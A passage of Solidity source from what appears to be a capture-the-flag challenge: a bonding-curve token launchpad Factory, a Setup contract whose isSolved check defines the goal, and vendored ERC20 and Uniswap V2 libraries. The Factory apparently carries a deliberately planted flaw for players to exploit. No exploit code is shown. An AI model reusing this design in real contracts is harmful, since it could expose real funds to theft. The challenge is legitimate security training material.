targetGREYRaised = _targetGREYRaised; 78 | } 79 | 80 | // ======================================== USER FUNCTIONS ======================================== 81 | 82 | function createToken(string memory name, string memory symbol, bytes32 salt, uint256 amountIn) 83 | external 84 | returns (address tokenAddress, uint256 amountOut) 85 | { 86 | Token token = new Token{salt: salt}(name, symbol); 87 | tokenAddress = address(token); 88 | 89 | pairs[tokenAddress] = Pair({ 90 | virtualLiquidity: virtualLiquidity, 91 | reserveGREY: virtualLiquidity, 92 | reserveToken: token.INITIAL_AMOUNT() 93 | }); 94 | 95 | // minAmountOut not needed here as token was just created 96 | if (amountIn != 0) amountOut = _buyTokens(tokenAddress, amountIn, 0); 97 | 98 | emit TokenCreated(tokenAddress, msg.sender); 99 | } 100 | 101 | function buyTokens(address token, uint256 amountIn, uint256 minAmountOut) external returns (uint256 amountOut) { 102 | Pair memory pair = pairs[token]; 103 | if (pair.virtualLiquidity == 0) revert InvalidToken(); 104 | 105 | uint256 actualLiquidity = pair.reserveGREY - pair.virtualLiquidity; 106 | if (actualLiquidity >= targetGREYRaised) { 107 | revert TargetGREYRaisedReached(); 108 | } 109 | 110 | amountOut = _buyTokens(token, amountIn, minAmountOut); 111 | } 112 | 113 | function sellTokens(address token, uint256 amountIn, uint256 minAmountOut) external returns (uint256 amountOut) { 114 | Pair storage pair = pairs[token]; 115 | if (pair.virtualLiquidity == 0) revert InvalidToken(); 116 | 117 | uint256 actualLiquidity = pair.reserveGREY - pair.virtualLiquidity; 118 | if (actualLiquidity >= targetGREYRaised) { 119 | revert TargetGREYRaisedReached(); 120 | } 121 | 122 | amountOut = _getAmountOut(amountIn, pair.reserveToken, pair.reserveGREY); 123 | 124 | // In theory, this check should never fail 125 | if (amountOut > actualLiquidity) revert InsufficientGREYLiquidity(); 126 | 127 | pair.reserveToken += amountIn; 128 | pair.reserveGREY -= amountOut; 129 | 130 | if (amountOut < minAmountOut) revert InsufficientAmountOut(); 131 | 132 | Token(token).transferFrom(msg.sender, address(this), amountIn); 133 | grey.transfer(msg.sender, amountOut); 134 | 135 | emit TokenSold(msg.sender, token, amountOut, amountIn); 136 | } 137 | 138 | function launchToken(address token) external returns (address uniswapV2Pair) { 139 | Pair memory pair = pairs[token]; 140 | if (pair.virtualLiquidity == 0) revert InvalidToken(); 141 | 142 | uint256 actualLiquidity = pair.reserveGREY - pair.virtualLiquidity; 143 | if (actualLiquidity < targetGREYRaised) { 144 | revert TargetGREYRaisedNotReached(); 145 | } 146 | 147 | delete pairs[token]; 148 | 149 | uint256 greyAmount = actualLiquidity; 150 | uint256 tokenAmount = pair.reserveToken; 151 | 152 | // Burn tokens equal to ratio of reserveGREY removed to maintain constant price 153 | uint256 burnAmount = (pair.virtualLiquidity * tokenAmount) / pair.reserveGREY; 154 | tokenAmount -= burnAmount; 155 | Token(token).burn(burnAmount); 156 | 157 | uniswapV2Pair = uniswapV2Factory.getPair(address(grey), address(token)); 158 | if (uniswapV2Pair == address(0)) { 159 | uniswapV2Pair = uniswapV2Factory.createPair(address(grey), address(token)); 160 | } 161 | 162 | grey.transfer(uniswapV2Pair, greyAmount); 163 | Token(token).transfer(uniswapV2Pair, tokenAmount); 164 | 165 | IUniswapV2Pair(uniswapV2Pair).mint(address(0xdEaD)); 166 | 167 | emit TokenLaunched(token, uniswapV2Pair); 168 | } 169 | 170 | // ======================================== VIEW FUNCTIONS ======================================== 171 | 172 | function previewBuyTokens(address token, uint256 amountIn) external view returns (uint256 amountOut) { 173 | Pair memory pair = pairs[token]; 174 | amountOut = _getAmountOut(amountIn, pair.reserveGREY, pair.reserveToken); 175 | } 176 | 177 | function previewSellTokens(address token, uint256 amountIn) external view returns (uint256 amountOut) { 178 | Pair memory pair = pairs[token]; 179 | 180 | amountOut = _getAmountOut(amountIn, pair.reserveToken, pair.reserveGREY); 181 | 182 | uint256 actualLiquidity = pair.reserveGREY - pair.virtualLiquidity; 183 | if (amountOut > actualLiquidity) revert InsufficientGREYLiquidity(); 184 | } 185 | 186 | function tokenPrice(address token) external view returns (uint256 price) { 187 | Pair memory pair = pairs[token]; 188 | price = pair.reserveGREY.divWadDown(pair.reserveToken); 189 | } 190 | 191 | function bondingCurveProgress(address token) external view returns (uint256 progress) { 192 | Pair memory pair = pairs[token]; 193 | uint256 actualLiquidity = pair.reserveGREY - pair.virtualLiquidity; 194 | progress = actualLiquidity.divWadDown(targetGREYRaised); 195 | } 196 | 197 | // ======================================== HELPER FUNCTIONS ======================================== 198 | 199 | function _buyTokens(address token, uint256 amountIn, uint256 minAmountOut) internal returns (uint256 amountOut) { 200 | Pair storage pair = pairs[token]; 201 | 202 | amountOut = _getAmountOut(amountIn, pair.reserveGREY, pair.reserveToken); 203 | 204 | pair.reserveGREY += amountIn; 205 | pair.reserveToken -= amountOut; 206 | 207 | if (amountOut < minAmountOut) revert InsufficientAmountOut(); 208 | 209 | grey.transferFrom(msg.sender, address(this), amountIn); 210 | Token(token).transfer(msg.sender, amountOut); 211 | 212 | emit TokenBought(msg.sender, token, amountIn, amountOut); 213 | } 214 | 215 | function _getAmountOut(uint256 amountIn, uint256 reserveIn, uint256 reserveOut) internal pure returns (uint256) { 216 | if (amountIn == 0) revert InsufficientAmountIn(); 217 | if (reserveIn == 0 || reserveOut == 0) revert InsufficientLiquidity(); 218 | 219 | return (amountIn * reserveOut) / (reserveIn + amountIn); 220 | } 221 | } 222 | -------------------------------------------------------------------------------- /src/launchpad/Setup.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import {GREY} from "./lib/GREY.sol"; 5 | import {UniswapV2Factory} from "./lib/v2-core/UniswapV2Factory.sol"; 6 | import {Factory} from "./Factory.sol"; 7 | import {Token} from "./Token.sol"; 8 | 9 | contract Setup { 10 | bool public claimed; 11 | 12 | // GREY token 13 | GREY public grey; 14 | 15 | // Challenge contracts 16 | UniswapV2Factory public uniswapV2Factory; 17 | Factory public factory; 18 | Token public meme; 19 | 20 | constructor() { 21 | // Deploy the GREY token contract 22 | grey = new GREY(); 23 | 24 | // Mint 7 GREY for setup 25 | grey.mint(address(this), 7 ether); 26 | 27 | // Deploy challenge contracts 28 | uniswapV2Factory = new UniswapV2Factory(address(0xdead)); 29 | factory = new Factory(address(grey), address(uniswapV2Factory), 2 ether, 6 ether); 30 | 31 | // Create a meme token 32 | (address _meme,) = factory.createToken("Meme", "MEME", bytes32(0), 0); 33 | meme = Token(_meme); 34 | 35 | // Buy 2 GREY worth of MEME 36 | grey.approve(address(factory), 2 ether); 37 | factory.buyTokens(_meme, 2 ether, 0); 38 | } 39 | 40 | // Note: Call this function to claim 5 GREY for the challenge 41 | function claim() external { 42 | require(!claimed, "already claimed"); 43 | claimed = true; 44 | 45 | grey.transfer(msg.sender, 5 ether); 46 | } 47 | 48 | // Note: Challenge is solved when you have at least 5.965 GREY 49 | function isSolved() external view returns (bool) { 50 | return grey.balanceOf(msg.sender) >= 5.965 ether; 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /src/launchpad/Token.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity 0.8.20; 3 | 4 | import {ERC20} from "./lib/solmate/ERC20.sol"; 5 | 6 | contract Token is ERC20 { 7 | error NotFactory(); 8 | 9 | uint256 public constant INITIAL_AMOUNT = 1000_000e18; 10 | 11 | address public immutable factory; 12 | 13 | constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol, 18) { 14 | factory = msg.sender; 15 | 16 | _mint(factory, INITIAL_AMOUNT); 17 | } 18 | 19 | function burn(uint256 amount) external { 20 | if (msg.sender != factory) revert NotFactory(); 21 | 22 | _burn(msg.sender, amount); 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /src/launchpad/lib/GREY.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity 0.8.20; 3 | 4 | /* 5 | Note: This is a simple ERC20 contract with minting capabilities, there's no bug here. 6 | */ 7 | contract GREY { 8 | string constant public name = "Grey Token"; 9 | string constant public symbol = "GREY"; 10 | uint8 constant public decimals = 18; 11 | 12 | event Transfer(address indexed from, address indexed to, uint256 amount); 13 | event Approval(address indexed owner, address indexed spender, uint256 amount); 14 | 15 | address private immutable owner; 16 | 17 | uint256 public totalSupply; 18 | 19 | mapping(address => uint256) public balanceOf; 20 | 21 | mapping(address => mapping(address => uint256)) public allowance; 22 | 23 | constructor() { 24 | owner = msg.sender; 25 | } 26 | 27 | function mint(address to, uint256 amount) external { 28 | require(msg.sender == owner, "not owner"); 29 | 30 | totalSupply += amount; 31 | balanceOf[to] += amount; 32 | 33 | emit Transfer(address(0), to, amount); 34 | } 35 | 36 | function approve(address spender, uint256 amount) external returns (bool) { 37 | allowance[msg.sender][spender] = amount; 38 | 39 | emit Approval(msg.sender, spender, amount); 40 | 41 | return true; 42 | } 43 | 44 | function transfer(address to, uint256 amount) external returns (bool) { 45 | return transferFrom(msg.sender, to, amount); 46 | } 47 | 48 | function transferFrom( 49 | address from, 50 | address to, 51 | uint256 amount 52 | ) public returns (bool) { 53 | if (from != msg.sender) allowance[from][msg.sender] -= amount; 54 | 55 | balanceOf[from] -= amount; 56 | balanceOf[to] += amount; 57 | 58 | emit Transfer(from, to, amount); 59 | 60 | return true; 61 | } 62 | } -------------------------------------------------------------------------------- /src/launchpad/lib/solmate/ERC20.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: AGPL-3.0-only 2 | pragma solidity >=0.8.0; 3 | 4 | /// @notice Modern and gas efficient ERC20 + EIP-2612 implementation. 5 | /// @author Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC20.sol) 6 | /// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol) 7 | /// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it. 8 | abstract contract ERC20 { 9 | /*////////////////////////////////////////////////////////////// 10 | EVENTS 11 | //////////////////////////////////////////////////////////////*/ 12 | 13 | event Transfer(address indexed from, address indexed to, uint256 amount); 14 | 15 | event Approval(address indexed owner, address indexed spender, uint256 amount); 16 | 17 | /*////////////////////////////////////////////////////////////// 18 | METADATA STORAGE 19 | //////////////////////////////////////////////////////////////*/ 20 | 21 | string public name; 22 | 23 | string public symbol; 24 | 25 | uint8 public immutable decimals; 26 | 27 | /*////////////////////////////////////////////////////////////// 28 | ERC20 STORAGE 29 | //////////////////////////////////////////////////////////////*/ 30 | 31 | uint256 public totalSupply; 32 | 33 | mapping(address => uint256) public balanceOf; 34 | 35 | mapping(address => mapping(address => uint256)) public allowance; 36 | 37 | /*////////////////////////////////////////////////////////////// 38 | EIP-2612 STORAGE 39 | //////////////////////////////////////////////////////////////*/ 40 | 41 | uint256 internal immutable INITIAL_CHAIN_ID; 42 | 43 | bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR; 44 | 45 | mapping(address => uint256) public nonces; 46 | 47 | /*////////////////////////////////////////////////////////////// 48 | CONSTRUCTOR 49 | //////////////////////////////////////////////////////////////*/ 50 | 51 | constructor( 52 | string memory _name, 53 | string memory _symbol, 54 | uint8 _decimals 55 | ) { 56 | name = _name; 57 | symbol = _symbol; 58 | decimals = _decimals; 59 | 60 | INITIAL_CHAIN_ID = block.chainid; 61 | INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator(); 62 | } 63 | 64 | /*////////////////////////////////////////////////////////////// 65 | ERC20 LOGIC 66 | //////////////////////////////////////////////////////////////*/ 67 | 68 | function approve(address spender, uint256 amount) public virtual returns (bool) { 69 | allowance[msg.sender][spender] = amount; 70 | 71 | emit Approval(msg.sender, spender, amount); 72 | 73 | return true; 74 | } 75 | 76 | function transfer(address to, uint256 amount) public virtual returns (bool) { 77 | balanceOf[msg.sender] -= amount; 78 | 79 | // Cannot overflow because the sum of all user 80 | // balances can't exceed the max uint256 value. 81 | unchecked { 82 | balanceOf[to] += amount; 83 | } 84 | 85 | emit Transfer(msg.sender, to, amount); 86 | 87 | return true; 88 | } 89 | 90 | function transferFrom( 91 | address from, 92 | address to, 93 | uint256 amount 94 | ) public virtual returns (bool) { 95 | uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals. 96 | 97 | if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount; 98 | 99 | balanceOf[from] -= amount; 100 | 101 | // Cannot overflow because the sum of all user 102 | // balances can't exceed the max uint256 value. 103 | unchecked { 104 | balanceOf[to] += amount; 105 | } 106 | 107 | emit Transfer(from, to, amount); 108 | 109 | return true; 110 | } 111 | 112 | /*////////////////////////////////////////////////////////////// 113 | EIP-2612 LOGIC 114 | //////////////////////////////////////////////////////////////*/ 115 | 116 | function permit( 117 | address owner, 118 | address spender, 119 | uint256 value, 120 | uint256 deadline, 121 | uint8 v, 122 | bytes32 r, 123 | bytes32 s 124 | ) public virtual { 125 | require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED"); 126 | 127 | // Unchecked because the only math done is incrementing 128 | // the owner's nonce which cannot realistically overflow. 129 | unchecked { 130 | address recoveredAddress = ecrecover( 131 | keccak256( 132 | abi.encodePacked( 133 | "\x19\x01", 134 | DOMAIN_SEPARATOR(), 135 | keccak256( 136 | abi.encode( 137 | keccak256( 138 | "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)" 139 | ), 140 | owner, 141 | spender, 142 | value, 143 | nonces[owner]++, 144 | deadline 145 | ) 146 | ) 147 | ) 148 | ), 149 | v, 150 | r, 151 | s 152 | ); 153 | 154 | require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER"); 155 | 156 | allowance[recoveredAddress][spender] = value; 157 | } 158 | 159 | emit Approval(owner, spender, value); 160 | } 161 | 162 | function DOMAIN_SEPARATOR() public view virtual returns (bytes32) { 163 | return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator(); 164 | } 165 | 166 | function computeDomainSeparator() internal view virtual returns (bytes32) { 167 | return 168 | keccak256( 169 | abi.encode( 170 | keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), 171 | keccak256(bytes(name)), 172 | keccak256("1"), 173 | block.chainid, 174 | address(this) 175 | ) 176 | ); 177 | } 178 | 179 | /*////////////////////////////////////////////////////////////// 180 | INTERNAL MINT/BURN LOGIC 181 | //////////////////////////////////////////////////////////////*/ 182 | 183 | function _mint(address to, uint256 amount) internal virtual { 184 | totalSupply += amount; 185 | 186 | // Cannot overflow because the sum of all user 187 | // balances can't exceed the max uint256 value. 188 | unchecked { 189 | balanceOf[to] += amount; 190 | } 191 | 192 | emit Transfer(address(0), to, amount); 193 | } 194 | 195 | function _burn(address from, uint256 amount) internal virtual { 196 | balanceOf[from] -= amount; 197 | 198 | // Cannot underflow because a user's balance 199 | // will never be larger than the total supply. 200 | unchecked { 201 | totalSupply -= amount; 202 | } 203 | 204 | emit Transfer(from, address(0), amount); 205 | } 206 | } 207 | -------------------------------------------------------------------------------- /src/launchpad/lib/solmate/FixedPointMathLib.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: AGPL-3.0-only 2 | pragma solidity >=0.8.0; 3 | 4 | /// @notice Arithmetic library with operations for fixed-point numbers. 5 | /// @author Solmate (https://github.com/transmissions11/solmate/blob/main/src/utils/FixedPointMathLib.sol) 6 | /// @author Inspired by USM (https://github.com/usmfum/USM/blob/master/contracts/WadMath.sol) 7 | library FixedPointMathLib { 8 | /*////////////////////////////////////////////////////////////// 9 | SIMPLIFIED FIXED POINT OPERATIONS 10 | //////////////////////////////////////////////////////////////*/ 11 | 12 | uint256 internal constant MAX_UINT256 = 2**256 - 1; 13 | 14 | uint256 internal constant WAD = 1e18; // The scalar of ETH and most ERC20s. 15 | 16 | function mulWadDown(uint256 x, uint256 y) internal pure returns (uint256) { 17 | return mulDivDown(x, y, WAD); // Equivalent to (x * y) / WAD rounded down. 18 | } 19 | 20 | function mulWadUp(uint256 x, uint256 y) internal pure returns (uint256) { 21 | return mulDivUp(x, y, WAD); // Equivalent to (x * y) / WAD rounded up. 22 | } 23 | 24 | function divWadDown(uint256 x, uint256 y) internal pure returns (uint256) { 25 | return mulDivDown(x, WAD, y); // Equivalent to (x * WAD) / y rounded down. 26 | } 27 | 28 | function divWadUp(uint256 x, uint256 y) internal pure returns (uint256) { 29 | return mulDivUp(x, WAD, y); // Equivalent to (x * WAD) / y rounded up. 30 | } 31 | 32 | /*////////////////////////////////////////////////////////////// 33 | LOW LEVEL FIXED POINT OPERATIONS 34 | //////////////////////////////////////////////////////////////*/ 35 | 36 | function mulDivDown( 37 | uint256 x, 38 | uint256 y, 39 | uint256 denominator 40 | ) internal pure returns (uint256 z) { 41 | /// @solidity memory-safe-assembly 42 | assembly { 43 | // Equivalent to require(denominator != 0 && (y == 0 || x <= type(uint256).max / y)) 44 | if iszero(mul(denominator, iszero(mul(y, gt(x, div(MAX_UINT256, y)))))) { 45 | revert(0, 0) 46 | } 47 | 48 | // Divide x * y by the denominator. 49 | z := div(mul(x, y), denominator) 50 | } 51 | } 52 | 53 | function mulDivUp( 54 | uint256 x, 55 | uint256 y, 56 | uint256 denominator 57 | ) internal pure returns (uint256 z) { 58 | /// @solidity memory-safe-assembly 59 | assembly { 60 | // Equivalent to require(denominator != 0 && (y == 0 || x <= type(uint256).max / y)) 61 | if iszero(mul(denominator, iszero(mul(y, gt(x, div(MAX_UINT256, y)))))) { 62 | revert(0, 0) 63 | } 64 | 65 | // If x * y modulo the denominator is strictly greater than 0, 66 | // 1 is added to round up the division of x * y by the denominator. 67 | z := add(gt(mod(mul(x, y), denominator), 0), div(mul(x, y), denominator)) 68 | } 69 | } 70 | 71 | function rpow( 72 | uint256 x, 73 | uint256 n, 74 | uint256 scalar 75 | ) internal pure returns (uint256 z) { 76 | /// @solidity memory-safe-assembly 77 | assembly { 78 | switch x 79 | case 0 { 80 | switch n 81 | case 0 { 82 | // 0 ** 0 = 1 83 | z := scalar 84 | } 85 | default { 86 | // 0 ** n = 0 87 | z := 0 88 | } 89 | } 90 | default { 91 | switch mod(n, 2) 92 | case 0 { 93 | // If n is even, store scalar in z for now. 94 | z := scalar 95 | } 96 | default { 97 | // If n is odd, store x in z for now. 98 | z := x 99 | } 100 | 101 | // Shifting right by 1 is like dividing by 2. 102 | let half := shr(1, scalar) 103 | 104 | for { 105 | // Shift n right by 1 before looping to halve it. 106 | n := shr(1, n) 107 | } n { 108 | // Shift n right by 1 each iteration to halve it. 109 | n := shr(1, n) 110 | } { 111 | // Revert immediately if x ** 2 would overflow. 112 | // Equivalent to iszero(eq(div(xx, x), x)) here. 113 | if shr(128, x) { 114 | revert(0, 0) 115 | } 116 | 117 | // Store x squared. 118 | let xx := mul(x, x) 119 | 120 | // Round to the nearest number. 121 | let xxRound := add(xx, half) 122 | 123 | // Revert if xx + half overflowed. 124 | if lt(xxRound, xx) { 125 | revert(0, 0) 126 | } 127 | 128 | // Set x to scaled xxRound. 129 | x := div(xxRound, scalar) 130 | 131 | // If n is even: 132 | if mod(n, 2) { 133 | // Compute z * x. 134 | let zx := mul(z, x) 135 | 136 | // If z * x overflowed: 137 | if iszero(eq(div(zx, x), z)) { 138 | // Revert if x is non-zero. 139 | if iszero(iszero(x)) { 140 | revert(0, 0) 141 | } 142 | } 143 | 144 | // Round to the nearest number. 145 | let zxRound := add(zx, half) 146 | 147 | // Revert if zx + half overflowed. 148 | if lt(zxRound, zx) { 149 | revert(0, 0) 150 | } 151 | 152 | // Return properly scaled zxRound. 153 | z := div(zxRound, scalar) 154 | } 155 | } 156 | } 157 | } 158 | } 159 | 160 | /*////////////////////////////////////////////////////////////// 161 | GENERAL NUMBER UTILITIES 162 | //////////////////////////////////////////////////////////////*/ 163 | 164 | function sqrt(uint256 x) internal pure returns (uint256 z) { 165 | /// @solidity memory-safe-assembly 166 | assembly { 167 | let y := x // We start y at x, which will help us make our initial estimate. 168 | 169 | z := 181 // The "correct" value is 1, but this saves a multiplication later. 170 | 171 | // This segment is to get a reasonable initial estimate for the Babylonian method. With a bad 172 | // start, the correct # of bits increases ~linearly each iteration instead of ~quadratically. 173 | 174 | // We check y >= 2^(k + 8) but shift right by k bits 175 | // each branch to ensure that if x >= 256, then y >= 256. 176 | if iszero(lt(y, 0x10000000000000000000000000000000000)) { 177 | y := shr(128, y) 178 | z := shl(64, z) 179 | } 180 | if iszero(lt(y, 0x1000000000000000000)) { 181 | y := shr(64, y) 182 | z := shl(32, z) 183 | } 184 | if iszero(lt(y, 0x10000000000)) { 185 | y := shr(32, y) 186 | z := shl(16, z) 187 | } 188 | if iszero(lt(y, 0x1000000)) { 189 | y := shr(16, y) 190 | z := shl(8, z) 191 | } 192 | 193 | // Goal was to get z*z*y within a small factor of x. More iterations could 194 | // get y in a tighter range. Currently, we will have y in [256, 256*2^16). 195 | // We ensured y >= 256 so that the relative difference between y and y+1 is small. 196 | // That's not possible if x < 256 but we can just verify those cases exhaustively. 197 | 198 | // Now, z*z*y <= x < z*z*(y+1), and y <= 2^(16+8), and either y >= 256, or x < 256. 199 | // Correctness can be checked exhaustively for x < 256, so we assume y >= 256. 200 | // Then z*sqrt(y) is within sqrt(257)/sqrt(256) of sqrt(x), or about 20bps. 201 | 202 | // For s in the range [1/256, 256], the estimate f(s) = (181/1024) * (s+1) is in the range 203 | // (1/2.84 * sqrt(s), 2.84 * sqrt(s)), with largest error when s = 1 and when s = 256 or 1/256. 204 | 205 | // Since y is in [256, 256*2^16), let a = y/65536, so that a is in [1/256, 256). Then we can estimate 206 | // sqrt(y) using sqrt(65536) * 181/1024 * (a + 1) = 181/4 * (y + 65536)/65536 = 181 * (y + 65536)/2^18. 207 | 208 | // There is no overflow risk here since y < 2^136 after the first branch above. 209 | z := shr(18, mul(z, add(y, 65536))) // A mul() is saved from starting z at 181. 210 | 211 | // Given the worst case multiplicative error of 2.84 above, 7 iterations should be enough. 212 | z := shr(1, add(z, div(x, z))) 213 | z := shr(1, add(z, div(x, z))) 214 | z := shr(1, add(z, div(x, z))) 215 | z := shr(1, add(z, div(x, z))) 216 | z := shr(1, add(z, div(x, z))) 217 | z := shr(1, add(z, div(x, z))) 218 | z := shr(1, add(z, div(x, z))) 219 | 220 | // If x+1 is a perfect square, the Babylonian method cycles between 221 | // floor(sqrt(x)) and ceil(sqrt(x)). This statement ensures we return floor. 222 | // See: https://en.wikipedia.org/wiki/Integer_square_root#Using_only_integer_division 223 | // Since the ceil is rare, we save gas on the assignment and repeat division in the rare case. 224 | // If you don't care whether the floor or ceil square root is returned, you can remove this statement. 225 | z := sub(z, lt(div(x, z), z)) 226 | } 227 | } 228 | 229 | function unsafeMod(uint256 x, uint256 y) internal pure returns (uint256 z) { 230 | /// @solidity memory-safe-assembly 231 | assembly { 232 | // Mod x by y. Note this will return 233 | // 0 instead of reverting if y is zero. 234 | z := mod(x, y) 235 | } 236 | } 237 | 238 | function unsafeDiv(uint256 x, uint256 y) internal pure returns (uint256 r) { 239 | /// @solidity memory-safe-assembly 240 | assembly { 241 | // Divide x by y. Note this will return 242 | // 0 instead of reverting if y is zero. 243 | r := div(x, y) 244 | } 245 | } 246 | 247 | function unsafeDivUp(uint256 x, uint256 y) internal pure returns (uint256 z) { 248 | /// @solidity memory-safe-assembly 249 | assembly { 250 | // Add 1 to x * y if x % y > 0. Note this will 251 | // return 0 instead of reverting if y is zero. 252 | z := add(gt(mod(x, y), 0), div(x, y)) 253 | } 254 | } 255 | } -------------------------------------------------------------------------------- /src/launchpad/lib/solmate/Owned.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: AGPL-3.0-only 2 | pragma solidity >=0.8.0; 3 | 4 | /// @notice Simple single owner authorization mixin. 5 | /// @author Solmate (https://github.com/transmissions11/solmate/blob/main/src/auth/Owned.sol) 6 | abstract contract Owned { 7 | /*////////////////////////////////////////////////////////////// 8 | EVENTS 9 | //////////////////////////////////////////////////////////////*/ 10 | 11 | event OwnershipTransferred(address indexed user, address indexed newOwner); 12 | 13 | /*////////////////////////////////////////////////////////////// 14 | OWNERSHIP STORAGE 15 | //////////////////////////////////////////////////////////////*/ 16 | 17 | address public owner; 18 | 19 | modifier onlyOwner() virtual { 20 | require(msg.sender == owner, "UNAUTHORIZED"); 21 | 22 | _; 23 | } 24 | 25 | /*////////////////////////////////////////////////////////////// 26 | CONSTRUCTOR 27 | //////////////////////////////////////////////////////////////*/ 28 | 29 | constructor(address _owner) { 30 | owner = _owner; 31 | 32 | emit OwnershipTransferred(address(0), _owner); 33 | } 34 | 35 | /*////////////////////////////////////////////////////////////// 36 | OWNERSHIP LOGIC 37 | //////////////////////////////////////////////////////////////*/ 38 | 39 | function transferOwnership(address newOwner) public virtual onlyOwner { 40 | owner = newOwner; 41 | 42 | emit OwnershipTransferred(msg.sender, newOwner); 43 | } 44 | } -------------------------------------------------------------------------------- /src/launchpad/lib/v2-core/UniswapV2ERC20.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | import './interfaces/IUniswapV2ERC20.sol'; 4 | import './libraries/SafeMath.sol'; 5 | 6 | contract UniswapV2ERC20 is IUniswapV2ERC20 { 7 | using SafeMath for uint; 8 | 9 | string public constant name = 'Uniswap V2'; 10 | string public constant symbol = 'UNI-V2'; 11 | uint8 public constant decimals = 18; 12 | uint public totalSupply; 13 | mapping(address => uint) public balanceOf; 14 | mapping(address => mapping(address => uint)) public allowance; 15 | 16 | bytes32 public DOMAIN_SEPARATOR; 17 | // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); 18 | bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; 19 | mapping(address => uint) public nonces; 20 | 21 | constructor() { 22 | uint chainId; 23 | assembly { 24 | chainId := chainid() 25 | } 26 | DOMAIN_SEPARATOR = keccak256( 27 | abi.encode( 28 | keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'), 29 | keccak256(bytes(name)), 30 | keccak256(bytes('1')), 31 | chainId, 32 | address(this) 33 | ) 34 | ); 35 | } 36 | 37 | function _mint(address to, uint value) internal { 38 | totalSupply = totalSupply.add(value); 39 | balanceOf[to] = balanceOf[to].add(value); 40 | emit Transfer(address(0), to, value); 41 | } 42 | 43 | function _burn(address from, uint value) internal { 44 | balanceOf[from] = balanceOf[from].sub(value); 45 | totalSupply = totalSupply.sub(value); 46 | emit Transfer(from, address(0), value); 47 | } 48 | 49 | function _approve(address owner, address spender, uint value) private { 50 | allowance[owner][spender] = value; 51 | emit Approval(owner, spender, value); 52 | } 53 | 54 | function _transfer(address from, address to, uint value) private { 55 | balanceOf[from] = balanceOf[from].sub(value); 56 | balanceOf[to] = balanceOf[to].add(value); 57 | emit Transfer(from, to, value); 58 | } 59 | 60 | function approve(address spender, uint value) external returns (bool) { 61 | _approve(msg.sender, spender, value); 62 | return true; 63 | } 64 | 65 | function transfer(address to, uint value) external returns (bool) { 66 | _transfer(msg.sender, to, value); 67 | return true; 68 | } 69 | 70 | function transferFrom(address from, address to, uint value) external returns (bool) { 71 | if (allowance[from][msg.sender] != type(uint256).max) { 72 | allowance[from][msg.sender] = allowance[from][msg.sender].sub(value); 73 | } 74 | _transfer(from, to, value); 75 | return true; 76 | } 77 | 78 | function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external { 79 | require(deadline >= block.timestamp, 'UniswapV2: EXPIRED'); 80 | bytes32 digest = keccak256( 81 | abi.encodePacked( 82 | '\x19\x01', 83 | DOMAIN_SEPARATOR, 84 | keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)) 85 | ) 86 | ); 87 | address recoveredAddress = ecrecover(digest, v, r, s); 88 | require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE'); 89 | _approve(owner, spender, value); 90 | } 91 | } 92 | -------------------------------------------------------------------------------- /src/launchpad/lib/v2-core/UniswapV2Factory.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | import './interfaces/IUniswapV2Factory.sol'; 4 | import './UniswapV2Pair.sol'; 5 | 6 | contract UniswapV2Factory is IUniswapV2Factory { 7 | address public feeTo; 8 | address public feeToSetter; 9 | 10 | mapping(address => mapping(address => address)) public getPair; 11 | address[] public allPairs; 12 | 13 | constructor(address _feeToSetter) { 14 | feeToSetter = _feeToSetter; 15 | } 16 | 17 | function allPairsLength() external view returns (uint) { 18 | return allPairs.length; 19 | } 20 | 21 | function createPair(address tokenA, address tokenB) external returns (address pair) { 22 | require(tokenA != tokenB, 'UniswapV2: IDENTICAL_ADDRESSES'); 23 | (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); 24 | require(token0 != address(0), 'UniswapV2: ZERO_ADDRESS'); 25 | require(getPair[token0][token1] == address(0), 'UniswapV2: PAIR_EXISTS'); // single check is sufficient 26 | bytes memory bytecode = type(UniswapV2Pair).creationCode; 27 | bytes32 salt = keccak256(abi.encodePacked(token0, token1)); 28 | assembly { 29 | pair := create2(0, add(bytecode, 32), mload(bytecode), salt) 30 | } 31 | IUniswapV2Pair(pair).initialize(token0, token1); 32 | getPair[token0][token1] = pair; 33 | getPair[token1][token0] = pair; // populate mapping in the reverse direction 34 | allPairs.push(pair); 35 | emit PairCreated(token0, token1, pair, allPairs.length); 36 | } 37 | 38 | function setFeeTo(address _feeTo) external { 39 | require(msg.sender == feeToSetter, 'UniswapV2: FORBIDDEN'); 40 | feeTo = _feeTo; 41 | } 42 | 43 | function setFeeToSetter(address _feeToSetter) 